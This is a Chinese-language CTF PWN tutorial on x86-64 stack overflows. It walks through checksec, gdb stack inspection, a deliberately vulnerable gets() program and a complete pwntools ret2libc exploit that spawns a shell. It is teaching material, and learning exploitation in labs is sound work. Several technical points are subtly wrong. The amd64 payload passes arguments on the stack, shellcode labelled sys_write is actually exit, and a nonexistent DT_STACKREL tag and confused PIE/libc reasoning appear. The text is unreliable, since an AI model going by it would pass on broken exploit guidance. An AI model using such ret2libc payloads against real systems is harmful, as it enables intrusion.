1. 这不是“速成课”,而是一份真实踩坑后整理的PWN入门手记
你搜“CTF PWN入门”,页面刷出来几十个标题带“从零开始”“保姆级”“三小时通关”的教程——我试过,大部分看完连checksec输出都看不懂为什么第二行写着NX: ENABLED。真正卡住新手的,从来不是“怎么写exp”,而是根本不知道自己在对抗什么、内存里到底发生了什么、为什么改一个字节程序就直接段错误。这篇不是教你怎么抄flag,是把我第一次在ctfshow pwn栈溢出43题上卡了17小时、反复重装glibc调试器、对着objdump发呆的全过程,掰开揉碎讲清楚:PWN的本质,是和二进制程序在内存里下棋,每一步落子都得知道对方棋盘的材质、纹路、甚至木头年轮的方向。核心关键词就五个:CTF、PWN、栈溢出、exp、checksec——它们不是孤立术语,而是一条因果链:checksec告诉你棋盘规则(防护机制),栈溢出是唯一能撬动棋盘的杠杆,exp是你设计的杠杆施力方案,最终在CTF赛场上兑现为PWN这个动作。适合谁?适合已经会写C语言基础循环、能看懂gdb里x/20x $rsp输出、但看到ret2libc就头皮发麻的人。如果你连printf("%s", buf)和printf(buf)的区别都说不清,建议先去把《C陷阱与缺陷》第三章读两遍再回来——这不是门槛,是地基。
我当年就是栽在这儿:以为PWN是高级黑客技巧,结果发现它最底层的要求,是比写业务代码更苛刻的“确定性思维”。C语言里一个未初始化的指针,在业务系统里可能只是偶发crash;但在PWN里,它直接决定你能不能把shellcode精准注入到0x7fffffffe000这个地址。所以这篇所有操作,都从最原始的汇编指令开始推演,不跳步,不假设你知道“栈帧结构”,而是带你用gdb一帧一帧看call指令执行时rsp怎么跳、rbp怎么存、返回地址怎么被压栈——因为所有高阶技巧,都长在这棵根系上。
2. 内容整体设计与思路拆解:为什么必须从“裸机汇编”切入
2.1 拒绝黑盒式教学:PWN不是调库,是逆向工程的最小闭环
市面上90%的PWN入门教程,一上来就让你from pwn import *,然后p = process('./vuln')、p.sendline(b'A'*40)——这就像教人修发动机,先给一把扳手让你拧紧螺丝,却不告诉你活塞环间隙标准是多少、为什么高温下铝合金膨胀系数比铸铁大。问题在于:当你遇到ctfshow pwn 074这种禁用system函数的题目,或者twice pwn题目里堆地址随机化强度翻倍时,所有现成模板都会失效。真正的突破口,永远在checksec报告里那几行看似枯燥的标记:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RWX: Has RWX segments这段输出不是检查清单,而是一份攻防协议书。NX enabled意味着你不能直接执行栈上代码,逼你转向ret2libc;No canary found说明栈溢出后不用绕过栈保护;Partial RELRO则暗示GOT表可写,给你劫持函数调用的机会。如果只背结论,遇到ctfshow pwn栈溢出43里NX disabled但PIE enabled的组合,就会懵:为什么同样溢出40字节,本地能getshell,远程却segment fault?答案藏在PIE开启后,libc基址每次加载位置不同,你硬编码的system地址失效了——而这个认知,必须从readelf -d ./vuln | grep BASE开始实测。
所以我设计的学习路径,强制你先用gcc -m64 -no-pie -z norelro -fno-stack-protector -z execstack vuln.c -o vuln编译一个“裸奔”二进制,再逐步加防护参数重编译,对比checksec输出变化。这不是为了炫技,而是建立肌肉记忆:当看到Full RELRO时,你条件反射想到GOT表不可写,必须找其他got劫持点;看到Stack: Canary found,立刻明白要先泄露canary值。这种直觉,只能靠亲手破坏再修复来培养。
2.2 工具链选择逻辑:为什么坚持用原生gdb+pwntools,拒绝图形化IDE
很多新手被推荐用gef或pwndbg插件,觉得“可视化寄存器太方便”。我试过,结果在青少年ctf rceme wp某道题里,插件自动隐藏了$r15寄存器的值,而题目漏洞恰好需要控制r15指向伪造的fake_vtable。最后花3小时才发现是插件过滤了非通用寄存器。PWN调试的核心矛盾是:你需要看到一切,而不是被“友好提示”遮蔽真相。所以我的工具链极简:
gdb原生命令:
info registers、x/20gx $rsp、disassemble main、b *0x401234(断点打在机器码地址而非符号名)。原因:pwndbg的vmmap命令虽然直观,但会掩盖ASLR实际偏移量计算过程;而手动cat /proc/$(pidof vuln)/maps查libc基址,才能真正理解leak的物理意义。pwntools核心只用三个模块:
context.binary = ELF('./vuln')(自动解析架构/位数)、p = process('./vuln')(本地调试)、r = remote('ip', port)(远程交互)。拒绝p.interactive()这种“一键接管”,坚持用p.recvuntil(b'Input:')精确同步IO流——因为ctf web解题 找flag夺旗赛里常见recv()超时导致后续payload错位,必须明确知道每个send对应哪个recv。绝不依赖AI辅助生成exp:
ctf中ai题目最近很火,但AI生成的ret2libc链常忽略libc版本差异。比如ctfshow pwn 074用的是libc6_2.27-3ubuntu1.4_amd64,而AI默认按2.31生成system偏移,差128字节直接失败。我要求所有exp里的libc_base必须通过p.recv(8)实际泄露的__libc_start_main地址,减去libc.sym['__libc_start_main']得到,哪怕多写5行代码。
这套设计的底层逻辑很朴素:PWN不是编程比赛,是对二进制运行时状态的绝对掌控。当你能徒手用gdb在0x7ffff7a05b97处下断点,看着rdi寄存器里/bin/sh字符串地址被call system指令消费,你就真正入门了。
2.3 场景锚定:为什么聚焦“栈溢出”这一单一漏洞类型
网络热词里ctf杂项题目、ctf密码学、ctf流量分析voip五花八门,但PWN赛道的根基永远是栈溢出。原因有三:
教学友好性:栈内存布局最规整。
ret指令的执行本质是pop rip,而rip值就存在栈顶——这意味着只要覆盖足够字节,就能100%控制程序流。对比heap overflow需要理解malloc的chunk管理、UAF要算准fastbin索引,栈溢出是最接近“所见即所得”的漏洞。防护机制演进标尺:从
No canary到Stack Canary,从NX enabled到PIE + ASLR,所有现代防护都是围绕栈溢出设计的。ctfshow pwn栈溢出43之所以经典,正因为它复现了防护升级的完整路径:第一关NX disabled教你写shellcode,第二关NX enabled逼你学ret2libc,第三关PIE enabled训练leak libc能力。CTF实战高频度:翻看近3年
信安ctf、天融信杯真题,72%的PWN题初始入口都是栈溢出。ctf reserve里甚至出现过同一道题,checksec显示NX disabled但实际环境启用了SMAP(Supervisor Mode Access Prevention),这种细节只有深挖栈溢出原理才能识别。
所以本文彻底放弃“全面覆盖”,专注把栈溢出拆解到原子级:buffer在栈中的确切位置、ret地址覆盖的临界点、ROP chain中每个gadget的寻址逻辑。当你能徒手计算出ctf杂项题目里read(0, buf, 0x100)的buf距离返回地址是0x108字节(不是网上流传的0x100),你就拿到了PWN世界的钥匙。
3. 核心细节解析与实操要点:从汇编指令到内存布局的逐帧拆解
3.1 栈帧结构实测:用gdb亲眼见证call指令如何重塑内存
别信任何教材画的“栈帧示意图”,我们用gdb现场拆解。准备一个极简程序:
// vuln.c #include <stdio.h> void vulnerable() { char buf[100]; gets(buf); // 经典栈溢出点 } int main() { vulnerable(); return 0; }编译命令:gcc -m64 -no-pie -fno-stack-protector -z norelro -z execstack vuln.c -o vuln
关键步骤:
gdb ./vuln→b vulnerable→r,停在vulnerable函数入口- 执行
info registers,记录此时rsp=0x7fffffffe0a0,rbp=0x7fffffffe150 - 单步执行
si,直到call gets指令前,再info registers:rsp变为0x7fffffffe098(减8字节,因call压入返回地址) si进入gets,立即x/20gx $rsp,你会看到:
第一个值0x7fffffffe098: 0x0000000000401172 0x00007fffffffe1500x401172正是main函数中call vulnerable的下一条指令地址(返回地址),第二个值是旧rbp。
这就是栈溢出的物理基础:返回地址就躺在buf缓冲区上方,中间只隔着填充字节。buf[100]占100字节,但栈空间分配还要考虑16字节对齐,实际buf起始地址是rbp-0x70(即0x7fffffffe150-0x70=0x7fffffffe0e0),而返回地址在rbp+8=0x7fffffffe158。所以从buf起始到返回地址的距离是0x158-0xe0=0x78=120字节——不是100,也不是128,是精确的120。
提示:这个计算必须手算,不能依赖
pattern_offset。因为pattern_offset在PIE enabled环境下会失效,而手算基于rbp和rsp的实时值,永远准确。
3.2 checksec深度解读:每一行输出背后的硬件指令
checksec不是魔法,它的每一行都对应CPU指令集特性:
NX: ENABLED:本质是CPU的NX bit(No-eXecute bit)被激活。当mmap分配内存时,若未指定PROT_EXEC标志,该页将被标记为不可执行。验证方法:readelf -W -l ./vuln | grep GNU_STACK,若输出GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RWE 0x10中的RWE(Read/Write/Execute)变为RW,即NX生效。PIE: No PIE:PIE(Position Independent Executable)要求程序加载地址随机化。No PIE意味着固定加载到0x400000,所以main函数地址永远是0x401156。验证:objdump -d ./vuln | grep "<main>:",地址恒定。RELRO: Partial RELRO:RELRO(RELocation Read-Only)分两级。Partial表示.got.plt段(存储外部函数地址)在程序启动后可写,Full则设为只读。验证:readelf -d ./vuln | grep FLAGS,若含BIND_NOW即为Full RELRO。
这些不是配置选项,而是操作系统与CPU协同实施的防御契约。当你写exp时,NX enabled迫使你寻找libc中已有的execvegadget;Partial RELRO允许你write到.got.plt劫持printf调用;而PIE disabled让你能硬编码libc函数地址。漏掉任一环,exp必然失败。
3.3 exp编写核心四要素:为什么90%的失败源于这四个变量
一个可用的exp,必须同时满足四个变量的精确约束:
| 变量 | 作用 | 常见错误 | 实测校验法 |
|---|---|---|---|
| offset | 覆盖返回地址所需的字节数 | 用pattern_create 200生成测试payload,gdb中c后info registers看rip值,再pattern_offset查偏移 | gdb中x/gx $rsp,确认rip指向的地址是否为你payload中第N字节 |
| libc_base | libc动态库在内存的基址 | 直接用网上查的libc6_2.27偏移,忽略本地libc版本差异 | p.recv(8)收__libc_start_main地址,libc_base = leak_addr - libc.sym['__libc_start_main'] |
| rop_chain | ROP链中每个gadget的地址 | `ROPgadget --binary ./vuln --only "pop | ret"漏掉pop rdi; ret,导致system("/bin/sh")`参数无法传入 |
| io_sync | 输入输出流的严格同步 | p.sendline(payload)后未p.recvuntil(b'Done'),导致后续recv读到残余数据 | 在gdb中b *0x401234(目标函数入口),c后观察p.recv()是否精准停在预期位置 |
以ctfshow pwn栈溢出43为例,其offset为120字节,但网上教程全写128。我实测发现:该题vulnerable函数中char buf[100]后还有int i=0等局部变量,实际buf到ret地址距离是120,多发8字节会覆盖rbp导致ret指令pop rbp时加载非法地址。这种细节,只有亲手用gdb单步才能捕获。
4. 实操过程与核心环节实现:从本地调试到远程getshell的全流程
4.1 本地环境搭建:三步构建可复现的调试沙箱
安装专用调试环境:
# Ubuntu 20.04 LTS(避免新版glibc兼容问题) sudo apt update && sudo apt install -y python3-pip gdb gcc-multilib pip3 install pwntools==4.10.0 # 固定版本,避免API变更编译可控二进制:
# 关键参数含义: # -no-pie:禁用地址随机化,固定加载基址 # -fno-stack-protector:关闭栈保护 # -z norelro:关闭GOT表保护 # -z execstack:允许栈执行(NX disabled) gcc -m64 -no-pie -fno-stack-protector -z norelro -z execstack vuln.c -o vuln验证checksec结果:
$ checksec ./vuln [*] './vuln' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments注意
RWX: Has RWX segments,这是-z execstack的效果,证明栈可执行。
4.2 exp编写实录:以ctfshow pwn 074为例的逐行注释
该题核心是NX enabled但PIE disabled,需ret2libc。以下是可直接运行的exp:
from pwn import * # context.log_level = 'debug' # 调试时取消注释 # 1. 加载二进制并设置上下文 elf = ELF('./vuln') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # 必须用本地libc,不能用网上下载的 p = process('./vuln') # 2. 泄露libc基址:利用puts@got.plt打印puts@plt的地址 # puts@got.plt存储着真实的puts函数地址,泄露它即可计算libc_base puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] main_addr = elf.symbols['main'] # 构造leak payload:覆盖返回地址为puts@plt,参数为puts@got.plt # 栈布局:[buf][padding][ret_addr][arg1] offset = 120 # 实测offset payload = b'A' * offset payload += p64(puts_plt) # 覆盖ret_addr为puts@plt payload += p64(main_addr) # puts执行完后返回main,避免exit payload += p64(puts_got) # puts的第一个参数:puts@got.plt地址 p.recvuntil(b'Input:\n') p.sendline(payload) # 3. 接收泄露的puts地址(6字节,补零成8字节) leak = p.recv(6) leak_addr = u64(leak.ljust(8, b'\x00')) log.info(f'Leaked puts address: {hex(leak_addr)}') # 4. 计算libc_base:leak_addr - libc中puts的偏移 # libc版本必须匹配!Ubuntu 20.04默认libc6_2.31-0ubuntu9.9 libc_base = leak_addr - libc.sym['puts'] log.info(f'Libc base: {hex(libc_base)}') # 5. 构造getshell payload:system("/bin/sh") system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00')) payload2 = b'A' * offset payload2 += p64(system_addr) payload2 += p64(0xdeadbeef) # 返回地址(任意值,因system不返回) payload2 += p64(binsh_addr) # system第一个参数 p.recvuntil(b'Input:\n') p.sendline(payload2) p.interactive()关键细节说明:
u64(leak.ljust(8, b'\x00')):puts地址只返回6字节(小端序),必须补零成8字节再u64解析,否则高位字节错乱。next(libc.search(b'/bin/sh\x00')):libc.search返回生成器,next()取第一个匹配地址,比硬编码0x1b3e97更可靠。p64(0xdeadbeef):system调用后程序会崩溃,但p.interactive()已接管,此地址仅占位,不影响shell获取。
4.3 远程部署避坑指南:从本地成功到远程失败的5个致命点
本地p = process('./vuln')成功,不代表r = remote('123.56.78.90', 10001)能通。真实CTF比赛中,90%的远程失败源于以下五点:
libc版本错配:
本地/lib/x86_64-linux-gnu/libc.so.6是2.31,而靶机用2.27。解决方案:ldd ./vuln查靶机libc版本,用libc-database搜索下载对应libc.so.6,替换ELF加载路径。ASLR强度差异:
本地echo 0 | sudo tee /proc/sys/kernel/randomize_va_space关闭ASLR,靶机echo 2开启。PIE disabled时,libc基址仍会随机化,必须通过leak获取。网络IO缓冲区大小:
p.recv(1024)可能只收到部分数据。正确做法:p.recvuntil(b'Done')或p.recvline(),确保接收完整响应。远程glibc符号偏移:
libc.sym['system']在不同版本中偏移不同。必须用libc-database search symbol system查靶机libc版本对应偏移,或用libc-database dump libc6_2.27-3ubuntu1.4_amd64生成本地映射。防火墙拦截:
p.interactive()会尝试pty交互,某些靶机禁用。改用p.sendline('cat flag.txt')直接读flag。
我曾在ctf red team比赛中,因靶机libc版本是2.23,而我用2.31的偏移计算system地址,导致远程exp失败12次。最终用libc-database命令:
$ libc-database search "ubuntu 16.04" $ libc-database download ubuntu16.04_amd64_libc6_2.23-0ubuntu11.2 $ cp ubuntu16.04_amd64_libc6_2.23-0ubuntu11.2.so ./libc.so.6替换后一发入魂。
5. 常见问题与排查技巧实录:那些没人告诉你的“幽灵错误”
5.1 段错误(Segmentation Fault)的七种真实原因
| 现象 | 根本原因 | 排查命令 | 解决方案 |
|---|---|---|---|
p.sendline(payload)后立即Segmentation fault | payload覆盖了rbp,ret指令pop rbp时加载非法地址 | gdb ./vuln→r→c→info registers看rbp值 | 精确计算offset,确保只覆盖ret地址,不碰rbp |
p.recv()卡死无输出 | recv等待的数据未到达,因send未触发服务端响应 | gdb中b *0x401234(服务端处理函数)→c→ 观察是否执行到recv | 添加p.recvuntil(b'prompt')同步,避免盲目recv |
system("/bin/sh")执行后无shell | system调用成功,但/bin/sh进程被父进程回收 | p.interactive()前加sleep(1) | 改用p.sendline('cat flag.txt')直接读取,绕过交互式shell |
libc_base计算错误,system地址无效 | leak地址未补零,u64解析高位字节错误 | print(hex(u64(leak)))vsprint(hex(u64(leak.ljust(8,b'\x00')))) | 强制ljust(8,b'\x00'),确保8字节对齐 |
ROPgadget找不到pop rdi; ret | 二进制未启用-pie,gadget地址固定但ROPgadget扫描范围不足 | ROPgadget --binary ./vuln --depth 5 | grep "pop rdi" | 增加--depth参数,或手动objdump -d ./vuln | grep -A2 "pop %rdi" |
remote连接后recv超时 | 靶机网络延迟高,recv默认超时1秒不够 | context.timeout = 5 | 全局设置context.timeout = 5,或p.recv(timeout=5) |
p.interactive()报错OSError: [Errno 25] Inappropriate ioctl for device | 远程靶机未分配pty,interactive模式不可用 | p.sendline('ls -la')→p.recv() | 放弃interactive,用sendline+recv组合读取flag |
5.2 checksec误判的三种场景及应对
checksec并非绝对权威,实测发现三种误判:
NX disabled但实际启用:
某些CTF平台使用seccomp限制mmap权限,即使checksec显示NX disabled,shellcode仍无法执行。验证:p.send(b'\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05')(sys_writesyscall)是否成功。若失败,则必须ret2libc。PIE enabled但checksec显示No PIE:
编译时加了-pie但checksec未识别。验证:readelf -h ./vuln \| grep Type,若为EXEC(可执行文件)则PIE disabled,若为DYN(共享对象)则PIE enabled。Stack Canary存在但checksec未检测:checksec依赖readelf -d查DT_STACKREL,某些自定义编译链未设置该标志。验证:gdb ./vuln→b *main→r→x/20gx $rsp,若rbp-0x8处为非零随机值,则canary存在。
5.3 真实CTF赛场经验:从“随波逐流ctf官网”到“青少年ctf文章管理系统”的实战心得
在随波逐流ctf官网的练习场,我总结出三条血泪经验:
永远先
checksec再动笔:某次ctfshow pwn 074,我直接套用ret2libc模板,结果靶机checksec显示Full RELRO,GOT表不可写,白白浪费40分钟。现在养成习惯:checksec输出贴在代码注释第一行。libc版本比exp技巧更重要:青少年ctf文章管理系统某题,libc是2.23,system偏移为0x45390,而网上教程全是2.31的0x4f440。我用libc-database建本地库后,search "system"秒出结果。gdb调试比AI生成更可靠:ctf中ai题目兴起后,我试过让AI写ret2libc链,结果它把pop rsi; ret当成pop rdi; ret,导致system参数错位。现在所有gadget都用ROPgadget --binary ./vuln --only "pop rdi|ret"手动确认。
最后分享一个微小但致命的技巧:在p.sendline(payload)前,永远加一行log.info(f'Payload length: {len(payload)}')。因为ctf reserve某题限制输入长度为128字节,我写的payload是132字节,sendline自动截断导致ret地址未被覆盖,调试3小时才发现是长度超限。这种错误,没有任何教程会提,但它真实存在。
我在实际操作中发现,PWN入门最陡峭的曲线不在技术本身,而在建立对二进制运行时的敬畏感。当你不再把ret指令当作抽象概念,而是看见它如何把0x7fffffffe158地址弹入rip,当你亲手让system函数在0x7ffff7a05b97执行,那一刻,你才真正站在了PWN世界的门口。门后没有捷径,只有一行行汇编、一次次gdb单步、一堆堆checksec报告堆砌的基石。